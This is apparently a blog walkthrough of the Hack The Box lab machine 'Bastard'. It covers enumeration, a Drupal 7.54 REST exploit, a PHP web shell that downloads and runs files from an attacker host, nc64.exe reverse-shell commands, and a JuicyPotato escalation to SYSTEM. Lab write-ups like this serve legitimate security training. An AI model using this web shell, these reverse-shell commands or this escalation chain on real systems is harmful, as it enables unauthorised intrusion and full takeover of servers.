Read BlogpostsLet's Connect

Bastard

Summary

  • Only a few ports open: IIS on port 80 and MSRPC services on 135 and 49154.

  • Detected Drupal 7.54 running on the webserver, confirmed with droopescan.

  • Exploited Drupal REST API file upload vulnerability (CVE-2017-6347 via exploit-db 41564).

  • Gained a web shell by chaining file upload and remote execution logic into one payload.

  • Delivered nc64.exe via HTTP and got reverse shell.

  • Privilege escalation achieved using JuicyPotato with known CLSID for local privilege escalation.

Enumeration

sudo nmap -sV -p- 10.10.10.9 -oA bastardNmap -T 5

Nmap Output:

PORT      STATE SERVICE VERSION
80/tcp    open  http    Microsoft IIS httpd 7.5
135/tcp   open  msrpc   Microsoft Windows RPC
49154/tcp open  msrpc   Microsoft Windows RPC

  • Navigating to http://10.10.10.9/ revealed a default Drupal 7 site.

  • Discovered potential user IDs (0, 1, and 5) via enumeration.

Droopescan Output

droopescan scan drupal -u http://10.10.10.9

  • Confirmed version: Drupal 7.54

  • Detected modules: ctools, libraries, services

  • Exposed /CHANGELOG.txt, /user/login

Initial Foothold

  1. Used Exploit-DB 41564, a Drupal REST API RCE, to upload a PHP web shell.

  2. Modified exploit’s $file and $phpCode to:

    • Validate upload via test payload (echo "Dhawan was here!")

    • Then swapped in the full reverse shell controller:

<?php
    if (isset($_REQUEST['fupload'])) {
        file_put_contents($_REQUEST['fupload'], file_get_contents("http://10.10.14.18:8888/" . $_REQUEST['fupload']));
    };
    if (isset($_REQUEST['fexec'])) {
        echo "<pre>" . shell_exec($_REQUEST['fexec']) . "</pre>";
    };
?>

  1. Used this controller to upload nc64.exe and execute it:

http://10.10.10.9/vry4n.php?fupload=nc64.exe&fexec=nc64.exe -e cmd 10.10.14.12 7777

  • Reverse shell established! 👏

Privilege Escalation

Tried multiple methods (GodPotato, PrintSpoofer, post-exploit suggester), none worked.

Finally used JuicyPotato exploit with correct CLSID:

JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\inetpub\drupal-7.54\nc64.exe -e cmd.exe 10.10.14.18 555" -t * -c {9B1F122C-2982-4e91-AA8B-E071D54F2A4D}

  • Reverse shell on port 555 gave SYSTEM access.

PreviousSaunaNextArctic

Last updated